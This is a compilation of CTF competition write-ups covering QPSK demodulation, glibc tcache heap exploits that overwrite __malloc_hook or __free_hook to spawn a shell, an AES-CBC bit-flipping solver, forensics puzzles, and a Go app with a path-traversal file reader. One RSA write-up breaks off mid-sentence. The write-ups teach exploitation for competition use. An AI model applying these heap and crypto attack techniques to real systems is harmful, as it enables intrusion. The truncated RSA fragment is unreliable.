The first thing we want to do is try to get an idea for how the data in the wav file is modulated. We opened the wav file in audacity to get an initial idea
Zooming in, we get a lot of useful information:
A few notes about the signal to get started:There is significant low-frequency content (sustained 1’s and 0’s) which suggests that the signal is already at basebandThere are two channels. These could be two different data streams but more likely it’s the I and Q phases of the baseband signalThe amplitude looks to be constant, suggesting this is likely Phase-shift Keying (PSK) rather than something involving amplitude (like QAM)There seem to be about 8 samples per symbol
We used GNURadio to demodulate the signal
With an extremely simple flowgraph, we can see a rough constellation of the data. There are four hotspots so this is QPSK modulation.
We can recover the timing with just one more simple block:
Now we have the data separated into two-bit symbols, but a few issues remainWe don’t know if this is absolute or differential QPSKWe don’t know which symbols are the most/least significant parts of the byteWe don’t know which symbol maps to which two-bit sequenceWe can determine if it’s absolute or differential QPSK by looking forI like to take a histogram of the data - ordered data such as sync words or ASCII text would show up in a histogram because they would cause some symbols to show up much more often (All ASCII letters start with ‘01’, for instance)
Histogram of raw symbols:
Histogram of differentially decoded symbols:
We can see a drastic difference in these histograms - it’s clear the data is differential
The difference is also clear in time domain, where some sync pattern is clearly visibleRaw symbols:
Differentially decoded:
Now we just need to determine symbol mappings. For us, this was a matter of guess-and-check. We eventually found a symbol mapping that produced text. Here is the complete flowchart which produces an output file:
The text file contains data which looks like this in ascii
An????d I'm f????loating???? in a m????ost pec????uliar w????ayAnd ????the sta????rUUUUUU????0P?v?????9?
It’s clear we still need to remove sync words. This could be done in gnuradio with some effort, but it’d be easier to do it with a script (or in our case, with a text editor search/replace)
We get our final result containing the flag:```Ground Control to Major TomGround Control to Major TomTake your protein pills and put your helmet onGround Control to Major Tom (ten, nine, eight, seven, six)Commencing countdown, engines on (five, four, three)Check ignition and may God's love be with you (two, one, liftoff)This is Ground Control to Major TomYou've really made the gradeAnd the papers want to know whose shirts you wearNow it's time to leave the capsule if you dare"This is Major Tom to Ground ControlI'm stepping through the doorAnd I'm floating in a most peculiar wayAnd the starUUUUUU0P?v??9???jflag{lima20243lima:GEeqt-XXinABXCW6m2KCB4B12SJIaWIIn7NOpSb0__P630F0M-ZF8VopDX9bMWlP61efbggkqEmVlHwhAgk850s}0P?>??9???2s look very different todayFor hereAm I sitting in a tin canFar above the worldPlanet Earth is blueAnd there's nothing I can doThough I'm past one hundred thousand milesI'm feeling very stillAnd I think my spaceship knows which way to goTell my wife I love her very much she knowsGround Control to Major TomYour circuit's dead, there's something wrongCan you hear me, Major Tom?Can you hear me, Major Tom?Can you hear me, Major Tom?Can you "Here am I floating 'round my tin canFar above the moonPlanet Earth is blueAnd there's nothing I can do"```
|
# StudySim> We created a small program to help you keep track of your increasing workload.> > Connect to make use of our organizer at `nc pwn.hsctf.com 5007`.
> > Hint: You know, that stack looks awfully implemented. I wonder if you can get it to leak a little.
## Solution
### Outline1. The vulnerability is that we can change the `allocated_count` of worksheets to almost any value we want, which will write the pointer returned by `malloc` into `stack` anywhere we like.2. We leaked heap by writing `malloc`'s pointer into the `allocated_count` variable and then reading it out.3. We leaked libc by reading `stdout@GOT` next to the GOT.4. We gained arbitrary write by using the vulnerability to place the pointer `malloc` gave us directly onto the tcache freelist, which allows us to poison the freelist when tcache looks for the next freed chunk.5. We used arbitrary write to write a one_gadget to `__malloc_hook` to get shell.
### VulnerabilityAs always, we begin with a `checksec`.```$ checksec studysim[*] '/studysim' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3ff000)```As perhaps expected, there are a number of anti-stack protections, meaning this might be a heap exploitation question. Worthy of note is the fact that PIE is not enabled, so addresses in the program are fixed.
Reversing the binary is not very hard. Roughly, the vulnerability occurs because there aren't any checks on the number of worksheets we can do, which occurs in the `do_worksheets` function.```cvoid do_worksheets(){ puts("How many worksheets would you like to finish?"); unsigned long num_worksheets; read_ulong(&num_worksheets); allocated_count -= num_worksheets; printf("You did %lu worksheets. Only %ld more to go!\n",num_worksheets,allocated_count);}```This allows us to make `allocated_count` almost any long-value we want. This matters because `malloc` is regularly writing pointers into `stack[allocated_count]` in the `new_worksheet` function.```c char * book = (char *) malloc(length + 1); if (book == NULL) { exit(1); } puts("What's the content of your worksheet?"); read_str(book, length); stack[allocated_count] = book;```Because PIE has been disabled and `stack` is a global variable, its location is fixed. This means that we can write the heap pointer `malloc` gave us anywhere in memory that we can get our hands on because `stack[allocated_count]` can point roughly anywhere.
### Leaking the HeapThe heap leak is somewhat clever. The program is quite conservative in what it prints out, printing variables in very few locations. The `allocated_count` is printed in the `do_worksheet` method, here.```c allocated_count -= num_worksheets; printf("You did %lu worksheets. Only %ld more to go!\n",num_worksheets,allocated_count);```Notice that because we can write `malloc`'s pointer anywhere in memory, we can write `malloc`'s poitner into `allocated_count`; recall PIE means the location of `allocated_count` is also fixed. Then reading out the value of `allocated_count` from the `do_worksheet` method will leak this heap pointer.
### Exploiting the VulnerabilityThe key frustration in this challenge is that `free` is never called, which means that no proper use-after-free bug can exist. So to get around this, we simulate a `free` by just telling `malloc` that there's a freed chunk it should give us. And of course, because we're using libc 2.29, we're going to use the gloriously vulnerable tcache. So let's try to poison that freelist.
In order for tcache to give us a pointer, that pointer will need to be on its freelist. Usually, this means that we have to free a chunk onto the freelist, but as stated above, there is no `free` call. However, the vulnerability allows us to write a heap address anywhere we can get our hands on, and thanks to the heap leak, this includes the tcache freelist.
So we begin by setting `allocated_amount` so that `stack[allocated_amount]` will be on the tcache freelist. Then, when we `malloc` a chunk, two things happen. First, the call```c stack[allocated_count] = worksheet_pointer;```will place the pointer we just allocated onto the tcache freelist. Second, we write in some arbitrary pointer `0x7f00deadbeef` into our chunk. Now, the heap looks something like the following.```tcache freelists : 00007fff31415900 0000000000000000 <-- pointer to heap chunk ...00007fff31415800 : 0000000000000000 000000000000010100007fff31415900 : 00007f00deadbeef 0000000000000000 <-- our heap chunk ...```As far as tcache is concerned, this looks like a perfectly valid linked list. The next time we `malloc` a chunk of size `0x100`, `malloc` will check tcache and find that `0x7fff31415900` is freed and ready to be returned. Then it looks inside of the chunk for the pointer to the next freed chunk and finds `0x7f00deadbeef` waiting for it. It writes this into tcache so that the heap looks roughly like the following.```tcache freelists : 00007f00deadbeef 0000000000000000 <-- our pointer on tcache ...00007fff31415800 : 0000000000000000 000000000000010100007fff31415900 : 00007f00deadbeef 0000000000000000 <-- chunk returned to program ...```Now, when we `malloc` one more time for a chunk of size `0x100`, `malloc` will once again check the tcache freelist and find our pointer `0x7f00deadbeef` waiting for it. Now we get to write to `0x7f00deadbeef`, which gives us arbitrary write.
### Leaking LibcThe libc leak we generated is quite interesting. A motivating idea is to again use the fact PIE is disabled to read directly from the GOT. After all, even full RELRO has to allow the program to read the GOT, and we not asking to overwrite anything. However, the only way to read from an address is in the `new_worksheet` method, here.```c puts("What\'s the content of your worksheet?"); read_str(worksheet_pointer,worksheet_length); stack[allocated_count] = book; allocated_count++; printf("You throw the worksheet '%s' on your stack of worksheets.\n", book);```This means that we need to get the contents of our worksheet next to the GOT in order to leak its libc addresses. We can do this with the arbitrary write we just described but only using it for a read. But there's a deeper problem: the `read_str` method will write a null byte at the end of memory, which will inevitably make RELRO mad.```cint read_str(char* str, unsigned int length) { int c = 0; char tmp; while (c != length && read(0, &tmp, 1) > 0) { if (tmp == '\n') break; str[c++] = tmp; } str[length-1] = '\0'; // <-- *aggressive overwriting of GOT ensues* return c;}```To fix this problem, it turns out that there's a writable area just after the GOT which contains some libc poitners; we used `stdout@GOT`. Note that overwriting this area will not create a weakness in the program, but that's not what we're looking for. We escape with our libc pointer.
### Finishing UpWith arbitrary write, the exploit is now routine. With our newfound libc pointer, we chose to write a one_gadget to `__malloc_hook`, which made things a bit annoying, but it was doable nonetheless. The constraints on the one_gadget we used were the following.```$ one_gadget libc.so.60xe2383 execve("/bin/sh", rcx, rdx)constraints: [rcx] == NULL || rcx == NULL [rdx] == NULL || rdx == NULL```Checking what the registers were before we executed `malloc`, we saw that `rcx` was already set to `NULL`. To get `rdx` to `NULL` as well, we told the program to `malloc` us a chunk of size `0`, which set the corresponding register as the argument. With an exploitable one_gadget on `__malloc_hook`, just calling `malloc` (here `malloc(0)`) with the `new_worksheet` method will give us the shell and so give us the flag.
The full exploit, somewhat commented, can be found [here](/StudySim/studyforce.py). The original `.c` file can be found [here](/StudySim/studysim.c). |
# Treecache 2
> #TeamRBTrees is back, and now they're planting more trees!> > Connect to their donation interface at `nc pwn.hsctf.com 5009`.
> > Hint: Check your edge cases. Taking input is hard.
## Solution
### Outline1. The vulnerability is that setting the description length equal to `0` gives a heap overflow.2. We leaked the libc address by freeing a chunk onto the smallbin freelist and then using `malloc` first-fit to put the address of the leak in the `name` or `amount` parameter of a donation.3. We used the heap overflow to poison the forward pointer of a chunk on the tcache freelist to get arbitrary write.4. We wrote `system` to `__free_hook` and then `free`d a chunk containing the string `/bin/sh` to get a shell.
### VulnerabilityWe present a solution orthogonal to Treecache 1; of course, the exploit and script presented here will work on both. As always, we begin with a `checksec`.```$ checksec trees2[*] '/trees2' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled```While this is a pretty sad `checksec` all things considered, we begin to get the idea that this is going to be heap exploitation given all of the protections against stack exploits.
Reversing the binary is quite painful; Ghidra's `Auto-create struct` functionality is enormously helpful. In short, the donations are stored as in a [red-black tree](https://en.wikipedia.org/wiki/Red%E2%80%93black_tree) indexed by the donation `id`. While occasionally a bit helpful, understanding red-black trees is *not required* to solve the challenge.
The hint suggests that the bug occurs when taking input. After reversing, we see that (if I remember correctly), all user input is first passed through the `read_str` function. Ghidra decompiles it to something like the following.```cvoid read_str(char *ptr, int len){ int read_char; int i; i = 0; do { read_char = read(0,ptr + i,1); if (read_char != 1) { return; } i = i + 1; } while ((i != len) && (ptr[(long)i + -1] != '\n')); ptr[(long)i + -1] = '\0'; return;}```Immediately strange about this code is that it's taking input with a `do`-`while` loop, which means that as long as the first byte is valid, it will always get written down, which while suspicious is not ground-breaking. Additionally, the length check is on `i != len`, which means that if `i` is bigger than `len`, then this length check will never terminate the loop.
However, the edge case mentioned in the hint is if `len` is equal to `0`. In this case, first the `do`-`while` loop will trigger, reading in the first byte and incrementing `i` immediately. Then because the check is `i != len`, the loop allows overflows because `i > len` always.
Under normal circumstances (such as if the programmer is always passing in a positive integer to `len`), this is not a critical weakness. So we look for places that the user might be able to sneak in a `len = 0`. This occurs in the `edit_description` function; the part we care about decompiles roughly to the following.```c puts("Enter length of new description."); read_ulong(&len_desc); if (len_desc < 0x401) { free(node->description); desc = (char *)malloc(len_desc); puts("Enter new description."); read_str(desc,(int)len_desc); // len_desc = 0 is vulnerable! node->description = desc; puts("Enter new amount."); read_ulong(&(node->amount)); printf("Edited entry %lu.\n",id); }```Thus, if we set the length of the description to `0`, we pass the unsigned long check of `len_desc < 0x401`, and we get the overflow described above. Because this overflow is happening with `malloc`'s memory, this means we get to overflow the allocated chunk, giving a heap overflow. This is a critical vulnerability.
### Leaking LIBCVulnerability notwithstanding, the typical way to leak libc is to use the fact that freed (smallbin) chunks exist on linked lists of freed chunks which start and end in libc. Because we are dealing with libc 2.29, we have to deal with the tcache, which stores up to seven freed chunks in a freelist in the heap. Simply freeing an eigth chunk will force `free` to place it onto one of libc's freelists, writing libc pointers into the chunk in the process. If we ask `malloc` for the eighth chunk back and read from it, we will have read out a libc pointer.
The details of exactly how this was accomplished are a bit annoying. Because descriptions are null-terminated (safely) by the program, we didn't find a way to allocate a description and then read out the leaked pointer. Rather, we observe that we can also leak using the `amount` and `name` fields of the donation. The corresponding section in `print_donation` roughly decompiles to the following.```c printf("%lu trees\n", a->amount); printf("Donator: %s\n", a->name); printf("Description: %s\n", a->description);```In practice, we freed eight large chunks (with eight large descriptions), the first seven of which go onto the tcache freelist. Then we can call `make_donation` a whole bunch of times until we force `malloc` into splitting up the eigth large chunk into smaller donation-sized chunks. Because of the way splitting works, each of these small chunks also contains libc pointers. Eventually one of them will have the libc pointer stored in `amount` or `name`, which we can read from the print. Inelegant, but functional.
### Exploiting the VulnerabilityWith libc leaked, we know we where want to write (`__free_hook`) and what we want to write (`system`). Now, my favorite of the freelists is tcache because it does practically no sanity checks on the pointers it receives. A chunk on the tcache freelist will look like the following.```0000000000000000 0000000000000101 <-- size of chunk (unchecked)00007fff31415900 0000000000000000 <-- pointer to next chunk on freelist...```Recall that we when we ask for `0` bytes in the description, the program lets us write continuously for as long as we want, potentially overflowing the chunk. So the set-up is as follows. First allocate our malicious `0`-byte chunk and then allocate a larger chunk below it. The part of the heap we care about looks something like the following.```0000000000000000 0000000000000021 <-- the 0-byte chunk0000000000000000 00000000000000000000000000000000 0000000000000101 <-- the larger chunk0000000000000000 0000000000000000...```Now, we free the bottom chunk onto the tcache freelist. This will make tcache store the pointer to the next chunk inside of the freed chunk.```0000000000000000 00000000000000210000000000000000 00000000000000000000000000000000 000000000000010100007fff31415900 0000000000000000 <-- tcache put this here...```However, if we call `edit_donation` on the `0`-byte chunk (and receive it back), then our heap overflow can corrupt tcache's forward pointer.```0000000000000000 0000000000000021deadbeefdeadbeef deadbeefdeadbeefdeadbeefdeadbeef deadbeefdeadbeef <-- size of chunk also corrupted00007f00deadbeef 0000000000000000 <-- tcache's pointer has been corrupted...```Because we just freed the large chunk onto the tcache freelist, the top of the tcache freelist currently points to the corrupted chunk. If we `malloc` for a chunk of size `0x100`, `malloc` will hand us back the corrupted chunk and then write the corrupted pointer `0x00007f00deadbeef` onto the tcache freelist. Then the next time we ask for a chunk of size `0x100`, the top of the tcache freelist will read `0x00007f00deadbeef`, so `malloc` will let us write at `0x00007f00deadbeef`. This gives us arbitrary write from tcache poison.
### Finishing UpAt this point, the remainder of the exploit is routine. It will be helpful to have a chunk in the heap with the string `/bin/sh` in it; we simply edited a donation and entered all the strings as `/bin/sh`. Now we can use the leaked libc address to compute the addresses of `__free_hook` and `system`. Then the arbitrary write described above let us write `system` into `__free_hook`. Finally, when we free the donation with the `/bin/sh`, this would normally call `free` with that pointer, but `__free_hook` overwrote `free` so that we are now calling `system('/bin/sh')`. This gives us a shell, from which we can easily get the flag.
The full exploit, with poor comments, can be found [here](/Treecache_2/tree2force.py). The original `.c` file in the challenge can be found [here](/Treecache_2/trees2.c). |
# It's as easy as access=0000
We can connect to a remote server and are given this Python script:
```pythonfrom Crypto.Util.Padding import pad, unpadfrom Crypto.Cipher import AESfrom Crypto.Random import get_random_bytesfrom datetime import datetime, timedelta
challenge_description("You can generate an access token for my network service, but you shouldn't be able to read the flag... I think.")challenge_name = "It's as easy as access=0000"FLAG = "ractf{XXX}"KEY = get_random_bytes(16)
def get_flag(token, iv): token = bytes.fromhex(token) iv = bytes.fromhex(iv) try: cipher = AES.new(KEY, AES.MODE_CBC, iv) decrypted = cipher.decrypt(token) unpadded = unpad(decrypted, 16) except ValueError as e: return {"error": str(e)} if b"access=0000" in unpadded: return {"flag": FLAG} else: return {"error": "not authorized to read flag"}
def generate_token(): expires_at = (datetime.today() + timedelta(days=1)).strftime("%s") token = f"access=9999;expiry={expires_at}".encode() iv = get_random_bytes(16) padded = pad(token, 16) cipher = AES.new(KEY, AES.MODE_CBC, iv) encrypted = cipher.encrypt(padded) ciphertext = iv.hex() + encrypted.hex() return {"token": ciphertext}
def start_challenge(): menu = "Would you like to:\n[1] Create a guest token\n[2] Read the flag" while True: print(menu) choice = str(input("Your choice: ")) while choice != "1" and choice != "2": choice = str(input("Please enter a valid choice. Try again: ")) if choice == "1": print(generate_token()) elif choice == "2": token = input("Please enter your admin token: ") while not token: token = input("Tokens can't be empty. Try again: ") iv = input("Please enter your token's initialization vector: ") while not iv: iv = input("Initialization vectors can't be empty. Try again: ") print(get_flag(token, iv)) start_challenge()```
## Description
We have two different options:- generate a guest token- login as admin using an admin token.
Guest tokens are an AES-CBC mode encryption of `access=9999;expiry={expires_at}`. A token is considered as an admin token if `access=0000` is present in its decryption. This is a very simple example of malleability of AES-CBC (for the first block).
Let's recall how AES-CBC works: it selects a random IV (Initialization Vector), then uses AES as a block cipher to encrypt data. The plaintext is split into blocks (adding padding to get a multiple of the block length), and the ciphertext is generated as follows:
```c[i] = AES_Enc(c[i-1] XOR m[i])```
with `c[0]` being the IV. The ciphertext is `c` (including the IV). The decryption formula is the following:
```m[i] = AES_Dec(c[i]) XOR c[i-1]```
and the IV is discarded.
## Solution
If we replace `IV` by `IV XOR D`, the corresponding first block of the plaintext will be decoded as `m[0] XOR D`. We can therefore XOR our IV with the corresponding values to change 9999 into 0000. When the server will decrypt our ciphertext, it will read `access=0000`.
```pythontoken = '606af8cd5c376066077ce589997aa89602a98905e123243aa4591a2291e4909e71cab0734fff1e71c21fee3f5e71a480'token = bytes.fromhex(token)
iv = token[:16]ct = token[16:]
for i in range(7,11): iv = iv[:i] + bytes([(iv[i] ^ ord('0') ^ ord('9'))]) + iv[i+1:]
print(iv.hex())print(ct.hex())```
Flag: `ractf{cbc_b17_fl1pp1n6_F7W!}` |
# Glad Bags Writeup
>Poortho made some hard pwn for y'all. It's so hard, you don't get any input.
(Preface: This problem was not hard like other problems where you need a large amount of sufficient knowledge (heap pwn), but very lengthly and drawn out, like the Harry Potter series. BTW, can Harry Potter considered a modern epic? Just broken into multiple volumes?)
Well, on the bright side, this is forensics, not pwn (we did not manage to solve poortho's actual pwn...)We first get the download glad_bags, which running file on it says is an elf, and running the program and ghidra analysis points at the program seemingly just being a kind of "hello world."However, a "hello world" program that prints a string should not take a whopping 13 MB...so something fishy is contained within the binary.
Running binwalk, we find the stinky fish poortho placed in:```8304 0x2070 7-zip archive data, version 0.4```After extracting, we are met with an almost 13 MB file, proving that printing a string doesn't take much of anything...Opening the archive, we are met with a familiar name: angr (which I have been meaning to learn...), and it looks like an archive of the source code.
There were two methods to the next step:1. The thorough method: angr (and everything that follows) has unmodified free downloads that "closely" (where it matters) match poortho's. Extract both archives into separate directories and use `diff -rq dir1 dir2` to get the list of changes that matter. I used this at the beginning before I realized...2. The lazy method: file/folder size is key. The original binary was way too bloated, hinting that it contained the angr archive. Even the angr archive was bloated, about twice as large as GitHub's version. The 7zip GUI conveniently lists the file/folder sizes of the archive, so you can hone in on the anomalously large areas.
Using either method, the culprit can be found as another 7z file at angr > afl > afl.7zThe challenge continues in the nested format:
1. afl contains pwntools (GitHub dev branch). Setup.py is way too large. If you tried opening it and scrolling down, you'd be greeted with this...Open at your own risk! This picture was taken just before Notepad++ crashed. Same fate with standard notepad and even vim. Poortho also said he had issues during this step in his test solve... This is hex, which you can manually convert back into characters to get the binary file, or just use this tool after deleting all the python surrounding it (don't forget the parentheses at the end of the file...good luck with that!): <http://tomeko.net/bin/hex_to_file/hex_to_file.exe>. With that, we get the next 7z.2. Audacity: This one would have had to compare to GitHub source since the first sizes when opening don't give much away, but a cursory peek through the files showed a suspiciously-named suspicious.ny in the plugin folder, with a suspiciously large size compared to the others. Opening the file appears to first be standard text, but disappears at line 58, beginning with PK, the magic header for zip files, giving us...3. 7-zip: actually, this is the 7-zip Extra version, and unlike the past ones, it is not source.
7-zip is the final destination in nested archives, tested through binwalking through the larger files. The file of interest is aarch64/7za.exe due to several red flags:1. x64 and aarch64 are usually in separate downloads, and shouldn't be present together.2. Looking into them, aarch64 has a 7za.exe and a 7za.exe.bak. Highly unusual for released software to keep backup files of binaries like that. And 7za.exe is just 10 bytes larger.3. Probably the biggest giveaway, all the other files in those two folders were last modified in 2019, while this one was May 28, a few days before the ctf, and it sticks out like a sore thumb in 7zip.
Diffing the FOI and the backup shows an interesting string: `MZWGCZ33MRXW45C7M5SXIX3NMFSF6Z3FORPWO3DBMRPWK6T5` I have no idea what encoding that is, but maybe CyberChef does...
Flag: `flag{dont_get_mad_get_glad_ez}`Also, if you take out the modified 7z.exe and rename the backup, hashing the x64 and aarch64 folders reveals that they are identical. Which shouldn't happen. |
# Cut short
> This image refuses to open in anything, which is a bit odd. Open it for the flag!
A file `flag.png` is provided.
## Description
When using `file flag.png`, we get the answer `data`. So let's use a hex editor to have a look at it. I'm using [hexed.it](https://hexed.it/).
It looks like a PNG all right, but here we have an IEND tag right at the beginning!
## Solution
Let's remove it. Following the [PNG specification](https://en.wikipedia.org/wiki/Portable_Network_Graphics#File_format), we know the first 8 bytes are ok, and the next expected 4 bytes are `00 00 00 0D` which we find on line 2. So let's remove the bytes `00 00 00 00 49 45 4E 44 AE 42 60 82`.
This gives us the flag.
Flag: `ractf{1m4ge_t4mp3r1ng_ftw}` |
tl;dr
We have a prime `a` and `2` random numbers `r1,r2` less than `a` such that `2r1a+1` and `2r2a+1` are primes. These primes are used to construct the RSA key.
We can control the top `80` bytes of `a` and only the lowest `2` bytes remain unknown. Since `N%(2a)=1`, this allows us to easily brute force `a`. Alternatively, we have an extremely good approxmation of `a` since out of `64` bytes, only `2` are unknown, so we can run coppersmith with `N-1` as the modulus, or even better, factor out the small primes form `N-1` before running coppersmith.
Now that we have recovered `a`, notice that `N=4a^2r1r2+2a(r1+r2)+1` with `r1 |
# Treecache: Alyx> We remastered this old classic. There is now less cheese and more trees.> > Connect at `nc pwn.hsctf.com 5008`.
> > Hint: It would be a downright shame if I accidentally ran free(NULL). Good thing root can't ever become NULL!
## Solution### Outline1. Completely clearing a non-empty tree sets `root` equal to `temp_null`. Freeing `temp_null` as well creates a use-after-free vulnerability.2. The `free()` method places a pointer to tcache where the `description` pointer for a donation would go, letting us write directly into tcache with the use-after-free.3. We leaked the libc address by freeing a chunk onto the smallbin freelist and then using `malloc` first-fit to put the address of the leak in the `amount` parameter of a donation.4. Writing directly into tcache allows us arbitrary write, which lets us write `system` to `__free_hook` to gain a shell.
### VulnerabilityWe present a long, probably unintended, but truly *epic* solution to this challenge. It will again be roughly orthogonal to the previous two Treecache challenges. As always, we begin with a `checksec`.```$ checksec trees_alyx[*] '/trees_alyx' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled```This is even sadder than the previous Treecache challenges because we're now using full RELRO. Anyways, stack exploits are unlikely given all of the various protections, so it's time to heap.
One of the confusing things about the hint is that it's not referring to `0x0` but rather to the `temp_null` variable used in the deletion method of the program.```c Node* child; if (node->left != NULL) { child = node->left; } else if (node->right != NULL) { child = node->right; } else { temp_null->parent = node; node->left = temp_null; child = temp_null; }```The first vulnerability is that when the tree is cleared, `root` is not set to `0x0`. Rather, when deleting the `root` node, the program goes through the entire deletion algorithm, setting a child equal to `temp_null` and promoting it. This means that `temp_null` will be equal to `root`.
While sketchy, this does not look immediately exploitable. However, the hint mentions *freeing* `temp_null`, which after some pushing to bypass some checks we can do. Note the `id` of `temp_null` is read as `0`, so we can just revoke donation `0`. There is a small hiccup in that we have to pass the following check.```cvoid repair_dblack(Node* node) { if (node->color == BLACK) { Node* p = node->parent; if (p == NULL) { return; } if (p->left == node) { assert(p->right != NULL); // all pointers in temp_null are null now ...```This can be bypassed by just allocating `temp_null` a right child and then freeing `temp_null` followed by freeing the right child to clear the tree again.
This presents a second more serious "use-after-free" vulnerability. In particular, we just managed to free `temp_null`, but `root` is set to `temp_null` in an empty tree, so we have access to it, potentially even the ability to read and write. With some more pushing, this vulnerability turns out to be enough.
### Leaking LibcThis is done in the same way as [Treecache 2](/Treecache_2/Treecache2.md). Once again, because we want a libc pointer, we go ahead and fill tcache with seven chunks of some size and then free another onto the smallbin freelist, which will place libc pointers inside the chunk. Then we use `malloc` first-fit to eventually receive back this eigth chunk and read the stored libc pointer.
In particular, we have to leak from the `print_donation` function here.```c printf("%lu trees\n", a->amount); printf("Donator: %s\n", a->name); printf("Description: %s\n", a->description);```It is easiest to read directly from the `amount` and `name` parameters. Reading from `description` is hard because our strings get null-terminated by the program, which will block our leak. So the outline is to make eight huge `description` blocks (say, `0x100`) and then revoke all of those donations, putting the eigth large chunk on the smallbin freelist. Then if we continuously make new donations in the heap, eventually `malloc` will split the large smallbin chunk, putting libc pointers in random places of our donations. With luck the pointers will show up in `amount` or `name`, so we'll be able to leak.
### Exploiting the VulnerabilityThe key to the exploit is comparing what freed chunks look like in tcache to what the donation structure looks like. When freeing a chunk onto tcache in libc 2.29, it looks roughly like the following.```0x0000000000000000 0x0000000000000111 <-- size header; prev_in_use set0x[next on tcache] 0x[tcache pointer] <-- tcache's metadata0xdeadbeefdeadbeef 0xdeadbeefdeadbeef <-- old data...```What is interesting here is that tcache will write a pointer to itself (at the top of the heap) inside of a freed chunk. Additionally, the donation struct looks like the following.```0x0000000000000000 0x0000000000000041 <-- size header0x[donated amount] 0x[ desc. pointer] <-- description!0x[ name pointer ] 0x[a tree pointer]0x[a tree pointer] 0x[a tree pointer]0x[ id ][ color] ...```Now we bring in the fact that we have a use-after-free vulnerability. Notice that at our current state after setting `root` to `temp_null`, freeing `temp_null`, and then setting `root` back to `temp_null`, we have convinced the program that the freed `temp_null` chunk is currently on the tree.
However, comparing the structure of a freed chunk to the donation chunk, we notice that tcache wrote `0x[next on tcache]` into `0x[donated amount]` (helper for leaks but otherwise irrelevant) and `0x[tcache pointer]` into `0x[ desc. pointer]`. So right now, `temp_null->description` points to the top of the tcache chunk. As a brief review, the tcache chunk looks like the following in libc 2.29.```0x0000000000000000 0x0000000000000251 <-- tcache has size 0x2500x0101010101010101 0x0101010101010101 <-- length of each freelist0x0101010101010101 0x0101010101010101 here all freelists are 1 long0x0101010102010101 0x01010101010101010x0101010101010101 0x01010101010101010x[top 0x20 chunk] 0x[top 0x30 chunk]0x[top 0x40 chunk] 0x[top 0x50 chunk]...```If we edit `temp_null`, it will free the current `temp_null->description` and then `malloc` in another one; here is that part of the `edit_donation` function.```c free(a->description); desc = malloc(len_desc); puts("Enter new description."); read_str(desc, len_desc); a->description = desc;```In this case, this will free the tcache chunk, and put *tcache* onto the tcache freelist. Then if we ask for a chunk of size `0x250` for the length of our description, then `malloc` will generously give us tcache back to write in our description. So editing `temp_null`'s description will let us write directly into tcache metadata.
With our newfound awesome power of writing directly into tcache, we can fool `malloc` into doing pretty much whatever we want. Placing `0x01` for all of the freelist lengths ensures that `malloc` thinks that there's a chunk waiting for it in each freelist. Then if we write in `0x7f00deadbeef` into tops of all the tcache freelists, then `malloc` will happily give us `0x7f00deadbeef` whenever we ask for a chunk. For clarity, tcache now looks like the following.```0x0000000000000000 0x0000000000000251 <-- tcache has size 0x2500x0101010101010101 0x0101010101010101 <-- length of each freelist0x0101010101010101 0x0101010101010101 here all freelists are 1 long0x0101010102010101 0x01010101010101010x0101010101010101 0x01010101010101010x00007f00deadbeef 0x00007f00deadbeef <-- top of freelists is 0x7f00deadbeef0x00007f00deadbeef 0x00007f00deadbeef...```This gives us the most arbitrary of writes.
### Finishing UpFrom here the exploit finishes normally. Write `/bin/sh` into some freeable memory, and then use the above arbitrary write (courtesy of tcache destruction) to write `system` into `__free_hook`; recall we've leaked libc. Then calling `free` on the `/bin/sh` memory will call `free("/bin/sh")`, which is now `system`, so we have a shell and so have the flag.
The full exploit can be found [here](/Treecache_Alyx/treeforce.py). |
# Quiz
## Description
Author: icinta
Our intern, Jeff, received a brief introduction to Golang and decided to write a Web app that quizzes users.
http://web1.cybercastors.com:14436
## Analysis
Go to the link and see a simple page with one link:
That will take you to a list of math problems with two input fields:
Entering a string in the first box will throw an Atoi error:
```strconv.Atoi: parsing "foo": invalid syntax```
But other than that, there's not really anything interesting on that page. It just validates the answer of each math problem. Going out of bounds doesn't do anything useful for us here.
Running `dirb http://web1.cybercastors.com:14436` turned up a new link to look at:
http://web1.cybercastors.com:14436/backup/
And that link dumps the full source code for the Go service running this site.
```golangpackage main
import ( "bufio" "encoding/csv" "fmt" "html/template" "net/http" "net/url" "os" "strconv"
"github.com/julienschmidt/httprouter")
var local *template.Templatevar probs *template.Template
func init() { local = template.Must(template.ParseGlob("./files/*")) probs = template.Must(template.ParseGlob("./problems/*"))}
func main() { mux := httprouter.New()
mux.GET("/", index) mux.GET("/test/:directory/:theme/:whynot", super) mux.GET("/problems/math", math) mux.POST("/problems/math", mathCheck)
//Remember to Delete mux.GET("/backup/", backup)
//Serve File with Directory listing http.ListenAndServe(":8080", mux)}func index(w http.ResponseWriter, req *http.Request, _ httprouter.Params) { err := local.ExecuteTemplate(w, "start.html", nil) handleError(w, err)}
func backup(w http.ResponseWriter, req *http.Request, _ httprouter.Params) { http.ServeFile(w, req, "main.go")}
func mathCheck(w http.ResponseWriter, req *http.Request, _ httprouter.Params) { err := req.ParseForm() handleError(w, err) check(w, req.Form)}func math(w http.ResponseWriter, req *http.Request, _ httprouter.Params) { game(w)}func file(w http.ResponseWriter, req *http.Request, _ httprouter.Params) { http.FileServer(http.Dir("."))}
func check(w http.ResponseWriter, form url.Values) { answers, err := os.Open("problems/answers.csv") handleError(w, err)
data, _ := csv.NewReader(answers).ReadAll()
index, err := strconv.Atoi(form["index"][0]) handleError(w, err) value := form["var"][0]
f_answers := make(map[int]string)
for i, v := range data { f_answers[i+1] = v[0] }
if f_answers[index] == value { last := struct { Header string SorC string }{ "correct!!", "Congrats!", }
err := probs.ExecuteTemplate(w, "mathCheck.gohtml", last) handleError(w, err) } else { last := struct { Header string SorC string }{ "incorrect.", "Sorry...", }
err := probs.ExecuteTemplate(w, "mathCheck.gohtml", last) handleError(w, err)
}
}func super(w http.ResponseWriter, req *http.Request, ps httprouter.Params) { fmt.Println(ps.ByName("whynot")) var file string = "/" + ps.ByName("directory") + "/" + ps.ByName("theme") + "/" + ps.ByName("whynot") test, err := os.Open(file) handleError(w, err) defer test.Close()
scanner := bufio.NewScanner(test) var content string for scanner.Scan() { content = scanner.Text() }
fmt.Fprintf(w, "Directories: %s/%s\n", ps.ByName("directory"), ps.ByName("theme")) fmt.Fprintf(w, "File: %s\n", ps.ByName("whynot")) fmt.Fprintf(w, "Contents: %s\n", content)}
